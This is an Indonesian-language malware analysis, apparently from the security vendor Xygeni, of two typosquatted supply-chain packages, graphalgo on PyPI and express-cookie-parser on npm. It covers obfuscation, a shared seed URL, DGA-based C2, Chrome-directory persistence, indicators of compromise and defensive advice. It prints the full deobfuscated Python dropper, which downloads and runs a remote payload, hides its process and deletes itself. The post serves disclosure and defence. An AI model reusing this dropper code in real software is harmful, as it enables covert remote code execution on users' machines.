Xygeni baru-baru ini mengamati pola yang mengkhawatirkan dalam lanskap serangan rantai pasokan perangkat lunak pada tahun 2025., muncul di dua pengelola paket populer: PyPI ke npmSebagai bagian dari upaya intelijen ancaman berkelanjutan kami,Sistem Peringatan Dini Malware (MEW) dari Xygeni Alat tersebut mengidentifikasi contoh yang berbeda namun secara metodologis serupa dari paket berbahaya yang sebelumnya diunggah ke registri lain. Kasus ini menyoroti bagaimana pelaku ancaman berevolusi dan menggunakan kembali teknik serangan di berbagai ekosistem, terutama melalui paket Python berbahaya ke paket npm berbahayayang meningkatkan risiko paket berbahaya menyusup ke rantai pasokan sumber terbuka.
MEW dari Xygeni: Menemukan Persamaannya
Alat MEW dari Xygeni dirancang untuk mendeteksi dan menandai paket berbahaya, terutama yang terkait dengan Serangan Rantai Pasokan Perangkat Lunak pada tahun 2025, segera setelah dipublikasikan ke registri sumber terbuka. Cara kerjanya adalah dengan menganalisis paket baru untuk perilaku yang mencurigakan.
Dalam hal ini, diidentifikasi dua paket Python berbahaya (graphalgo di PyPI) dan paket npm berbahaya (express-cookie-parser (pada npm).
Paket Python dan npm Berbahaya dalam Serangan Rantai Pasokan Perangkat Lunak (2025)
Mari kita telusuri karakteristik umum yang memicu peringatan kita:
typosquatting
Mereka berdua mencoba meniru paket perangkat lunak populer yang sudah ada.
- graphalgo (PyPI): "Paket Python untuk membuat dan memanipulasi grafik dan jaringan.Diunggah oleh pengguna bernama “larrytech” Pada tanggal 13 Juni 2025, paket ini muncul sebagai alternatif PyPi untuk proyek graphalgo asli yang tidak berbahaya, yang kemudian berganti nama menjadi graphdict.
- pengurai cookie ekspres (npm)Paket ini meniru paket cookie-parser yang terkenal, bahkan menirunya sepenuhnya. README.md. Peniruan identitas semacam itu adalah taktik klasik untuk memanfaatkan kepercayaan yang sudah ada.
Pengaburan sebagai Garis Pertahanan Pertama
Kedua paket tersebut menyembunyikan kode berbahaya di dalam file aslinya. Untuk graphalgoKode yang disamarkan ditemukan di dalam /utils/load_libraries.py. Dalam kasus pengurai cookie ekspres, cookie-loader.min.js berisi muatan yang disamarkan.
Lapisan pengaburan awal ini biasanya digunakan untuk menghambat inspeksi biasa dan analisis statis. Pengaburan tersebut cukup sederhana: kompresi ZLib berulang ditambah pengkodean Base64. Jenis pengaburan ini jelas menunjukkan bahwa perangkat lunak tersebut mencoba menyembunyikan perilakunya. Bersama dengan bukti lain, ini memungkinkan Xygeni MEW untuk mengklasifikasikan paket tersebut sebagai potensi malware. Selama tahap konfirmasi, peninjau kami segera menyiapkan skrip deobfuscation yang mengungkapkan tahap dropper yang jelas-jelas berbahaya.
Pengiriman Muatan Bertahap dan Titik Asal Bersama
Kedua paket tersebut berfungsi sebagai "awalan"pipet,” menyiapkan panggung untuk muatan sebenarnya. Mereka memiliki perangkat eksternal yang sama.benihURL file:https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
Berkas seed eksternal yang identik ini merupakan indikator kuat adanya aktor ancaman yang sama. Menariknya, isi berkas seed ini tampaknya berupa variabel lingkungan sederhana (misalnya, JWT_SECRET, PORT), yang berpotensi menyesatkan pemeriksaan terhadap fungsi sebenarnya.
Resolusi C2 Dinamis dengan DGA
Taktik canggih yang diamati dalam paket-paket berbahaya ini adalah penggunaan Algoritma Generasi Domain (DGA) untuk menyelesaikan server Command and Control (C2) secara dinamis. Teknik ini, yang sering terlihat dalam serangan rantai pasokan perangkat lunak tingkat lanjut pada tahun 2025, bergantung pada hash SHA256 yang berasal dari konten file seed, dikombinasikan dengan nilai-nilai lain yang telah ditentukan sebelumnya. Dengan demikian, infrastruktur C2 sering berubah, sehingga daftar hitam tradisional menjadi jauh kurang efektif. Dalam kasus ini, varian npm menggunakan nilai tetap sebesar... 496AAC7E sebagai bagian dari logika DGA-nya.
Membangun Ketekunan
Kedua penyerang tersebut berupaya untuk membangun kehadiran yang berkelanjutan pada sistem yang terdampak. Strategi mereka melibatkan penyebaran file, startup.py (untuk PyPi) atau startup.js (untuk npm), ke dalam direktori data pengguna Google Chrome umum di berbagai sistem operasi (Windows, Linux, macOS).
Pembersihan Pasca-Eksekusi
Untuk meminimalkan jejak, kedua skrip berbahaya tersebut melakukan operasi pembersihan. Ini termasuk menghapus file dropper awal mereka (load_libraries.py, cookie-loader.min.js) dan memodifikasi file paket yang sah (__init__.py, index.js) untuk menghapus referensi ke komponen yang sekarang telah dihapus.
Indikator Kompromi pada Paket Python dan npm Berbahaya
- Paket PyPI: graphalgo (diterbitkan oleh larrytech, 13 Juni 2025)
- Paket npm: express-cookie-parser (khususnya versi 1.4.12)
- Akses ke URL Benih Bersama:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- Nama File Permanen:
startup.py(Piton)startup.js(JavaScript) - Jalur Persisten Umum (Tergantung Sistem Operasi): Di dalam direktori data pengguna Google Chrome (misalnya,
AppData\Local\Google\Chrome\UserData\Scripts\di Windows,~/.config/google-chrome/Scripts/(pada Linux, dll.).
Cara Melindungi Diri dari Paket Berbahaya dalam Serangan Rantai Pasokan Perangkat Lunak 2025
Pendekatan yang Direkomendasikan untuk Pengembang
Insiden ini menjadi studi kasus berharga dalam lanskap ancaman serangan rantai pasokan perangkat lunak yang terus berkembang di tahun 2025. Ini menyoroti bagaimana paket Python berbahaya dan paket npm berbahaya dapat menyusup ke ekosistem tepercaya, seringkali lolos dari deteksi hingga terlambat. Itulah mengapa deteksi dini, alat yang cerdas, dan kebersihan sistem proaktif kini menjadi bagian penting dari alur kerja DevOps yang aman. Pengembang didorong untuk mempertimbangkan hal-hal berikut:
Tinjauan Ketergantungan
Jika proyek Anda mencakup graphalgo or pengurai cookie ekspres, akan lebih bijaksana untuk melanjutkan pemindahan mereka.
- Untuk PyPI:
pip uninstall graphalgo - Untuk npm:
npm uninstall express-cookie-parser
Kebersihan Sistem
Pertimbangkan untuk melakukan pemindaian sistem secara menyeluruh. Disarankan juga untuk memeriksa secara manual jalur direktori data pengguna Chrome yang umum untuk mencari hal-hal yang tidak terduga. startup.py or startup.js file.
Tindakan Keamanan Proaktif
- Menilai Ketergantungan BaruTetapkan rutinitas untuk mengevaluasi paket baru secara menyeluruh sebelum diintegrasikan, dengan fokus pada paket dari penerbit yang tidak dikenal.
- Mengintegrasikan Alat Keamanan: Alat-alat seperti MEW dari Xygeni, beserta perangkat lunak Analisis Komposisi lainnya (SCASolusi-solusi tersebut dapat memberikan lapisan pertahanan yang penting dengan mengidentifikasi perilaku mencurigakan dan kerentanan.
- Hak Istimewa Paling SedikitMengoperasikan lingkungan pengembangan dengan prinsip hak akses minimal dapat membantu membatasi potensi dampak dari suatu pelanggaran keamanan.
- Kesadaran JaringanPemantauan lalu lintas jaringan keluar untuk koneksi yang tidak biasa terkadang dapat mengungkap komunikasi C2 yang dihasilkan oleh DGA.
Komponen Utama dari load_libraries.py (dari graphalgo)
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request
url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
python_path = sys.executable
def download_remote_content(url, output_path):
try:
req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req) as response, open(output_path, "wb") as out_file:
if response.status != 200:
print(f"Failed to download the file. Status code: {response.status}")
return False
data = response.read()
out_file.write(data)
return True
except Exception as e:
print(f"Download failed: {e}")
return False
def run_process(path_to_script, params=[]):
if sys.platform.startswith("win"):
creationflags = subprocess.CREATE_NO_WINDOW
subprocess.Popen(
[sys.executable, path_to_script, *params],
creationflags=creationflags,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
subprocess.Popen(
[sys.executable, path_to_script, *params],
start_new_session=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
close_fds=True
)
def get_output_file_path():
py_file_path = None
home_dir = os.path.expanduser("~")
platform = os.sys.platform
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config", "google-chrome")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")
if not os.path.exists(py_file_path):
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support")
# Ensure base directory exists
os.makedirs(py_file_path, exist_ok=True)
script_path = os.path.join(py_file_path, "Scripts")
os.makedirs(script_path, exist_ok=True)
py_file_path = os.path.join(script_path, "startup.py")
return py_file_path
def remove_self():
# Remove this script file
os.remove(__file__)
# Remove \'graph_settings.py\' in the same directory
graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
if os.path.exists(graph_settings_path):
os.remove(graph_settings_path)
# Modify \'../classes/digraph.py\' if it exists
graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
graph_file_path = os.path.abspath(graph_file_path) # Normalize path
init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
init_file_path = os.path.abspath(init_file_path) # Normalize path
# replace content of the __init__.py file
if os.path.exists(init_file_path):
with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("from networkx.utils.graph_settings import *", "") \\
.replace("from networkx.utils.load_libraries import *", "")
with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
# replace content of the __init__.py file
if os.path.exists(graph_file_path):
with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\
with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
def simple_shift_encrypt(text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])
return base64.encode(encrypted_bytes).decode()
def simple_shift_decrypt(encoded_text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = base64.b64decode(encoded_text)
decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])
return decrypted
def load_libraries(key):
max_retry_count = 3
output_file_path = get_output_file_path()
encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"
for _ in range(max_retry_count):
if not download_remote_content(remove_url, output_file_path):
time.sleep(2)
continue
download_url = ""
with open(output_file_path, "rb") as f:
file_content = f.read()
sha256_hash = hashlib.sha256()
sha256_hash.update(file_content + key.encode())
password = sha256_hash.digest()
download_url = simple_shift_decrypt(encoded, password)
if not download_url or not download_remote_content(download_url, output_file_path):
time.sleep(2)
continue
os.chmod(output_file_path, 0o755)
run_process(output_file_path)
time.sleep(1)
remove_self()
break
if __name__ == "__main__":
if len(sys.argv) >= 2:
load_libraries(sys.argv[1])
download_remote_content(): Menangani pengambilan file dari URL yang ditentukan.run_process()Menjalankan skrip Python eksternal secara terpisah, menekan output agar tetap tidak mencolok.get_output_file_path(): Menentukan lokasi sistem yang ideal untuk file startup.py yang bersifat permanen.remove_self()Mengatur pembersihan pasca-eksekusi dari file berbahaya awal dan modifikasi paket.simple_shift_encrypt()/simple_shift_decrypt()Fungsi kriptografi khusus untuk menyembunyikan saluran komunikasi, sangat penting untuk implementasi DGA.load_libraries()Fungsi utama yang mengkoordinasikan seluruh proses multi-tahap, mulai dari pengunduhan awal hingga eksekusi muatan akhir dan pembersihan.
Buntut
Seperti halnya paket-paket berbahaya lainnya yang diidentifikasi oleh MEW, firewall dependensi segera melindungi pengguna yang menyertakan paket-paket berbahaya ini dalam dependensi mereka. Setelah konfirmasi, kami mengikuti prosedur pemberitahuan untuk kedua registri, yang setelah ditinjau menghapus kedua paket tersebut.







